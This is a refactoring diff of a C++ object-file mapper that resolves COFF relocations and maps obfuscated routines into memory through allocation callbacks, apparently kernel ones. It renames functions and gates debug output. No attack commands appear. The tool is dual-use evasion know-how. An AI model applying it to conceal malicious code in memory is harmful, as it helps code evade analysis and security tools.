section_offset < symbol.section_offset + symbol.size)
return symbol;
if (symbol_table[idx].NumberOfAuxSymbols)
idx += symbol_table[idx].NumberOfAuxSymbols;
}
}
return {};
}
auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER
{
const auto coff_header =

@ -71,9 +71,8 @@ namespace lnk
namespace sym
{
auto get_all(obj_buffer_t& obj) -> std::vector<symbol_t>;
auto get_relocs(obj_buffer_t& obj)->std::vector<image_reloc_t>;
auto get_idx(obj_buffer_t& obj, std::uint32_t symbol_idx)->symbol_t;
auto symbols(obj_buffer_t& obj) -> std::vector<symbol_t>;
auto relocations(obj_buffer_t& obj)->std::vector<image_reloc_t>;
}
namespace section
@ -81,6 +80,5 @@ namespace lnk
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, obj_buffer_t& obj)>;
auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER;
auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void;
auto calc_symbol(obj_buffer_t& obj, std::uint32_t section_number, std::uintptr_t section_offset)->symbol_t;
}
}

@ -50,9 +50,9 @@ namespace obfuscation
*reinterpret_cast<std::int32_t*>(rva_fix_addr)
};
std::printf("\t\t\t> fixing JCC rva...\n");
std::printf("\t\t\t\t> new rva = 0x%x\n", JMP_RIP_SIZE);
std::printf("\t\t\t\t> old rva = 0x%x\n",
DBG_PRINT("\t\t\t> fixing JCC rva...\n");
DBG_PRINT("\t\t\t\t> new rva = 0x%x\n", JMP_RIP_SIZE);
DBG_PRINT("\t\t\t\t> old rva = 0x%x\n",
*reinterpret_cast<std::int32_t*>(rva_fix_addr));
// when you inherit obfuscate please be mindful of JCC rvas...

@ -7,6 +7,7 @@
#include <time.h>
#include <random>
#include <map>
#include "../utils.hpp"
#define JMP_RIP_SIZE 14
#define JMP_RIP_ADDR_IDX 6

@ -4,49 +4,49 @@ namespace theo
{
hmm_ctx::hmm_ctx(const mapper_routines_t& routines)
:
kalloc(std::get<0>(routines)),
kmemcpy(std::get<1>(routines)),
alloc(std::get<0>(routines)),
mcopy(std::get<1>(routines)),
resolve_symbol(std::get<2>(routines))
{}
auto hmm_ctx::map_objs(std::vector<lnk::obj_buffer_t>& objs) -> bool
{
std::printf("[+] allocating space for symbols...\n");
DBG_PRINT("[+] allocating space for symbols...\n");
if (!alloc_symbol_space(objs))
{
std::printf("[!] failed to allocate symbol space...\n");
DBG_PRINT("[!] failed to allocate symbol space...\n");
return {};
}
std::printf("[+] allocating space for obfuscated symbols...\n");
DBG_PRINT("[+] allocating space for obfuscated symbols...\n");
if (!alloc_obfuscated_symbol_space(objs))
{
std::printf("[!] failed to allocate space for obfuscated functions...\n");
DBG_PRINT("[!] failed to allocate space for obfuscated functions...\n");
return {};
}
std::printf("[+] mapping obfuscated symbols...\n");
DBG_PRINT("[+] mapping obfuscated symbols...\n");
if (!map_obfuscated_symbols(objs))
{
std::printf("[!] failed to resolve obfuscated relocs...\n");
DBG_PRINT("[!] failed to resolve obfuscated relocs...\n");
return {};
}
std::printf("[+] resolving non-obfuscated relocations...\n");
DBG_PRINT("[+] resolving non-obfuscated relocations...\n");
if (!resolve_relocs(objs))
{
std::printf("[!] failed to resolve relocations...\n");
DBG_PRINT("[!] failed to resolve relocations...\n");
return {};
}
std::printf("[+] mapping non-obfuscated symbols...\n");
DBG_PRINT("[+] mapping non-obfuscated symbols...\n");
if (!map_symbols(objs))
{
std::printf("> failed to map symbols into memory...\n");
DBG_PRINT("> failed to map symbols into memory...\n");
return {};
}
std::printf("[+] linking complete...\n");
DBG_PRINT("[+] linking complete...\n");
return true;
}
@ -70,7 +70,7 @@ namespace theo
reinterpret_cast<PIMAGE_SYMBOL>(
coff_header->PointerToSymbolTable + obj.data());
for (auto& symbol : lnk::sym::get_all(obj))
for (auto& symbol : lnk::sym::symbols(obj))
{
// dont map obfuscated routines into memory as they
// get mapped differently...
@ -83,7 +83,7 @@ namespace theo
if (!symbol_mapped)
{
std::printf("\t> failed to resolve symbol allocation = %s\n",
DBG_PRINT("\t> failed to resolve symbol allocation = %s\n",
symbol.symbol_name.c_str());
return false;
@ -102,22 +102,22 @@ namespace theo
if (!strncmp(section_name, ".bss", sizeof(".bss") - 1))
{
std::printf("\t> zero symbol = %s, at = 0x%p, size = 0x%x\n",
DBG_PRINT("\t> zero symbol = %s, at = 0x%p, size = 0x%x\n",
symbol.symbol_name.c_str(), symbol_mapped, symbol.size);
const auto temp_zero = malloc(symbol.size);
memset(temp_zero, NULL, symbol.size);
kmemcpy(symbol_mapped, temp_zero, symbol.size);
mcopy(symbol_mapped, temp_zero, symbol.size);
free(temp_zero);
}
else
{
std::printf("\t> mapping symbol = %s, at = 0x%p, from = 0x%p, size = 0x%x\n",
DBG_PRINT("\t> mapping symbol = %s, at = 0x%p, from = 0x%p, size = 0x%x\n",
symbol.symbol_name.c_str(), symbol_mapped, obj.data() +
symbol.file_offset, symbol.size);
kmemcpy(symbol_mapped, obj.data() +
mcopy(symbol_mapped, obj.data() +
symbol.file_offset, symbol.size);
}
}
@ -167,7 +167,7 @@ namespace theo
if (!mapped_symbols[data_section_sym])
{
std::printf("\t> failed to resolve symbol allocation = %s\n",
DBG_PRINT("\t> failed to resolve symbol allocation = %s\n",
data_section_sym.c_str());
return false;
@ -175,7 +175,7 @@ namespace theo
// copy this section into memory... there are no symbols to it
// but there are relocations to it... this is done by static init data...
kmemcpy(reinterpret_cast<void*>(mapped_symbols[data_section_sym]),
mcopy(reinterpret_cast<void*>(mapped_symbols[data_section_sym]),
obj.data() + section_headers[idx].PointerToRawData, section_headers[idx].SizeOfRawData);
}
}
@ -186,14 +186,14 @@ namespace theo
{
for (auto& obj : objs)
{
for (auto& reloc : lnk::sym::get_relocs(obj))
for (auto& reloc : lnk::sym::relocations(obj))
{
if (reloc.type != IMAGE_REL_AMD64_ADDR64)
{
std::printf("[!] error... unsupported relocation at file offset = 0x%x\n", reloc.file_offset);
std::printf("\t> symbol = %s\n", reloc.resolve_symbol_name.c_str());
std::printf("\t> reloc type = 0x%x\n", reloc.type);
std::printf("\t> object size = 0x%x\n", obj.size());
DBG_PRINT("[!] error... unsupported relocation at file offset = 0x%x\n", reloc.file_offset);
DBG_PRINT("\t> symbol = %s\n", reloc.resolve_symbol_name.c_str());
DBG_PRINT("\t> reloc type = 0x%x\n", reloc.type);
DBG_PRINT("\t> object size = 0x%x\n", obj.size());
return false;
}
@ -204,9 +204,9 @@ namespace theo
// check obj symbol table for this relocation...
if (mapped_symbols[reloc.resolve_symbol_name])
{
std::printf("\t> resolving internal symbol...\n");
std::printf("\t\t> address = 0x%p\n", mapped_symbols[reloc.resolve_symbol_name]);
std::printf("\t\t> symbol = %s\n", reloc.resolve_symbol_name.c_str());
DBG_PRINT("\t> resolving internal symbol...\n");
DBG_PRINT("\t\t> address = 0x%p\n", mapped_symbols[reloc.resolve_symbol_name]);
DBG_PRINT("\t\t> symbol = %s\n", reloc.resolve_symbol_name.c_str());
*reloc_addr = mapped_symbols[reloc.resolve_symbol_name];
}
else if (reloc.resolve_symbol_name[0] == '.') // these relocations are offsets into already existing symbols...
@ -222,14 +222,14 @@ namespace theo
.append("!")
.append(std::to_string(obj.size()));
std::printf("[+] reloc to section %s\n", section_name.c_str());
std::printf("\t> relocation was going to be applied at = 0x%p\n", reloc_addr);
std::printf("\t> reloc file offset = 0x%x\n", reloc.file_offset);
std::printf("\t> object size = 0x%x\n", obj.size());
std::printf("\t\t> symbol section number = %d\n", reloc.raw_symbol.SectionNumber);
std::printf("\t\t> symbol storage class = %d\n", reloc.raw_symbol.StorageClass);
std::printf("\t\t> symbol type = %d\n", reloc.raw_symbol.Type);
std::printf("\t\t> section offset = 0x%x\n", section_offset);
DBG_PRINT("[+] reloc to section %s\n", section_name.c_str());
DBG_PRINT("\t> relocation was going to be applied at = 0x%p\n", reloc_addr);
DBG_PRINT("\t> reloc file offset = 0x%x\n", reloc.file_offset);
DBG_PRINT("\t> object size = 0x%x\n", obj.size());
DBG_PRINT("\t\t> symbol section number = %d\n", reloc.raw_symbol.SectionNumber);
DBG_PRINT("\t\t> symbol storage class = %d\n", reloc.raw_symbol.StorageClass);
DBG_PRINT("\t\t> symbol type = %d\n", reloc.raw_symbol.Type);
DBG_PRINT("\t\t> section offset = 0x%x\n", section_offset);
if (!mapped_symbols[section_name])
{
@ -246,24 +246,24 @@ namespace theo
if (!extern_symbol)
{
std::printf("[!] unresolved external symbol = %s...\n",
DBG_PRINT("[!] unresolved external symbol = %s...\n",
reloc.resolve_symbol_name.c_str());
std::printf("\t> relocation was going to be applied at = 0x%p\n", reloc_addr);
std::printf("\t> reloc file offset = 0x%x\n", reloc.file_offset);
std::printf("\t> object size = 0x%x\n", obj.size());
std::printf("\t\t> symbol section number = %d\n", reloc.raw_symbol.SectionNumber);
std::printf("\t\t> symbol storage class = %d\n", reloc.raw_symbol.StorageClass);
std::printf("\t\t> symbol type = %d\n", reloc.raw_symbol.Type);
std::printf("\t\t> symbol offset = 0x%x\n", reloc.raw_symbol.Value);
DBG_PRINT("\t> relocation was going to be applied at = 0x%p\n", reloc_addr);
DBG_PRINT("\t> reloc file offset = 0x%x\n", reloc.file_offset);
DBG_PRINT("\t> object size = 0x%x\n", obj.size());
DBG_PRINT("\t\t> symbol section number = %d\n", reloc.raw_symbol.SectionNumber);
DBG_PRINT("\t\t> symbol storage class = %d\n", reloc.raw_symbol.StorageClass);
DBG_PRINT("\t\t> symbol type = %d\n", reloc.raw_symbol.Type);
DBG_PRINT("\t\t> symbol offset = 0x%x\n", reloc.raw_symbol.Value);
return false;
}
*reloc_addr = extern_symbol;
std::printf("\t> resolving external symbol...\n");
std::printf("\t\t> address = 0x%p\n", *reloc_addr);
std::printf("\t\t> symbol = %s\n", reloc.resolve_symbol_name.c_str());
DBG_PRINT("\t> resolving external symbol...\n");
DBG_PRINT("\t\t> address = 0x%p\n", *reloc_addr);
DBG_PRINT("\t\t> symbol = %s\n", reloc.resolve_symbol_name.c_str());
}
}
}
@ -274,12 +274,12 @@ namespace theo
{
for (auto& obj : objs)
{
for (auto& symbol : lnk::sym::get_all(obj))
for (auto& symbol : lnk::sym::symbols(obj))
{
if (!symbol.obfuscate_type)
continue;
std::printf("\t> mapping obfuscated routine %s into memory...\n", symbol.symbol_name.c_str());
DBG_PRINT("\t> mapping obfuscated routine %s into memory...\n", symbol.symbol_name.c_str());
std::int32_t instruc_offset = 0u;
while (true) // TODO: this is bad code... dont do this!
@ -341,15 +341,15 @@ namespace theo
default:
{
// check this instruction to see if it needs any relocs...
for (auto& reloc : lnk::sym::get_relocs(obj))
for (auto& reloc : lnk::sym::relocations(obj))
{
if (reloc.file_offset >= symbol.file_offset + instruc_offset &&
reloc.file_offset < symbol.file_offset + instruc_offset + instruc_len)
{
std::printf("\t\t> resolving relocation for instruction...\n");
DBG_PRINT("\t\t> resolving relocation for instruction...\n");
if (reloc.type != IMAGE_REL_AMD64_ADDR64)
{
std::printf("[!] error, cannot resolve reloc = %s, type = 0x%x\n",
DBG_PRINT("[!] error, cannot resolve reloc = %s, type = 0x%x\n",
reloc.resolve_symbol_name.c_str(), reloc.type);
// cant relocate anything but IMAGE_REL_AMD64_ADDR64...
@ -377,7 +377,7 @@ namespace theo
if (!extern_symbol)
{
std::printf("[!] unresolved external symbol = %s...\n",
DBG_PRINT("[!] unresolved external symbol = %s...\n",
reloc.resolve_symbol_name.c_str());
return false;
@ -386,8 +386,8 @@ namespace theo
*reloc_addr = extern_symbol;
}
std::printf("\t\t\t> address = 0x%p\n", *reloc_addr);
std::printf("\t\t\t> symbol = %s\n", reloc.resolve_symbol_name.c_str());
DBG_PRINT("\t\t\t> address = 0x%p\n", *reloc_addr);
DBG_PRINT("\t\t\t> symbol = %s\n", reloc.resolve_symbol_name.c_str());
break; // break out of for loop... we resolve the symbol...
}
}
@ -402,8 +402,8 @@ namespace theo
reinterpret_cast<void*>(
mapped_symbols[symbol_name]);
std::printf("\t> copying gadget at = 0x%p\n", gadget_addr);
kmemcpy(gadget_addr, gadget_raw.data(), gadget_raw.size());
DBG_PRINT("\t> copying gadget at = 0x%p\n", gadget_addr);
mcopy(gadget_addr, gadget_raw.data(), gadget_raw.size());
// used to calc symbol for next instruction...
instruc_offset += instruc_len;
}
@ -419,7 +419,7 @@ namespace theo
for (auto& obj : objs)
{
for (auto& symbol : lnk::sym::get_all(obj))
for (auto& symbol : lnk::sym::symbols(obj))
{
// skip normal routines for now... those get scattered...
if (!symbol.obfuscate_type)
@ -470,7 +470,7 @@ namespace theo
}
default:
{
std::printf("[!] unsupported obfuscation type on routine = %s, type = %d\n",
DBG_PRINT("[!] unsupported obfuscation type on routine = %s, type = %d\n",
symbol.symbol_name.c_str(), symbol.obfuscate_type);
return false;
}
@ -478,10 +478,10 @@ namespace theo
mapped_symbols[new_symbol] =
reinterpret_cast<std::uintptr_t>(
kalloc(new_gadget->get_size()));
alloc(new_gadget->get_size()));
obfuscated_gadgets[mapped_symbols[new_symbol]] = new_gadget;
std::printf(" > %s allocated = 0x%p, size = %d\n", new_symbol.c_str(),
DBG_PRINT("\t\t> %s allocated = 0x%p, size = %d\n", new_symbol.c_str(),
mapped_symbols[new_symbol], new_gadget->get_size());
offset += instruction.length;
@ -506,7 +506,7 @@ namespace theo
reinterpret_cast<PIMAGE_SYMBOL>(
coff_header->PointerToSymbolTable + obj.data());
for (auto& symbol : lnk::sym::get_all(obj))
for (auto& symbol : lnk::sym::symbols(obj))
{
// skip obfuscated routines for now... those get scattered...
if (symbol.obfuscate_type)
@ -516,9 +516,9 @@ namespace theo
if (symbol.type == IMAGE_SYM_FUNCTION)
{
mapped_symbols[symbol.symbol_name] =
reinterpret_cast<std::uintptr_t>(kalloc(symbol.size));
reinterpret_cast<std::uintptr_t>(alloc(symbol.size));
std::printf("\t> %s allocated at = 0x%p, size = %d\n",
DBG_PRINT("\t> %s allocated at = 0x%p, size = %d\n",
symbol.symbol_name.c_str(), mapped_symbols[symbol.symbol_name], symbol.size);
}
else // else its a data/bss/rdata symbol... we map the entire section...
@ -534,10 +534,10 @@ namespace theo
if (!mapped_symbols[data_section_sym])
{
mapped_symbols[data_section_sym] =
reinterpret_cast<std::uintptr_t>(kalloc(
reinterpret_cast<std::uintptr_t>(alloc(
section_headers[symbol.section_number - 1].SizeOfRawData));
std::printf("\t> section %s allocated at = 0x%p, size = %d\n",
DBG_PRINT("\t> section %s allocated at = 0x%p, size = %d\n",
data_section_sym.c_str(),
mapped_symbols[data_section_sym],
section_headers[symbol.section_number - 1].SizeOfRawData);
@ -588,10 +588,10 @@ namespace theo
if (!mapped_symbols[data_section_sym])
{
mapped_symbols[data_section_sym] =
reinterpret_cast<std::uintptr_t>(kalloc(
reinterpret_cast<std::uintptr_t>(alloc(
section_headers[idx].SizeOfRawData));
std::printf("\t> section %s allocated at = 0x%p, size = %d\n",
DBG_PRINT("\t> section %s allocated at = 0x%p, size = %d\n",
data_section_sym.c_str(),
mapped_symbols[data_section_sym],
section_headers[idx].SizeOfRawData);

@ -29,8 +29,8 @@ namespace theo
auto map_objs(std::vector<lnk::obj_buffer_t>& objs) -> bool;
auto get_symbol(std::string symbol_name) -> std::uintptr_t;
malloc_t kalloc;
memcpy_t kmemcpy;
malloc_t alloc;
memcpy_t mcopy;
resolve_symbol_t resolve_symbol;
private:
bool map_symbols(std::vector<lnk::obj_buffer_t>& objs);

@ -19,8 +19,9 @@
#include <vector>
#include <map>
inline bool dbg_print = false;
#define DBG_PRINT(format, ...) \
std::printf(format, __VA_ARGS__ )
if (dbg_print) std::printf(format, __VA_ARGS__ )
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{

Loading…
Cancel
Save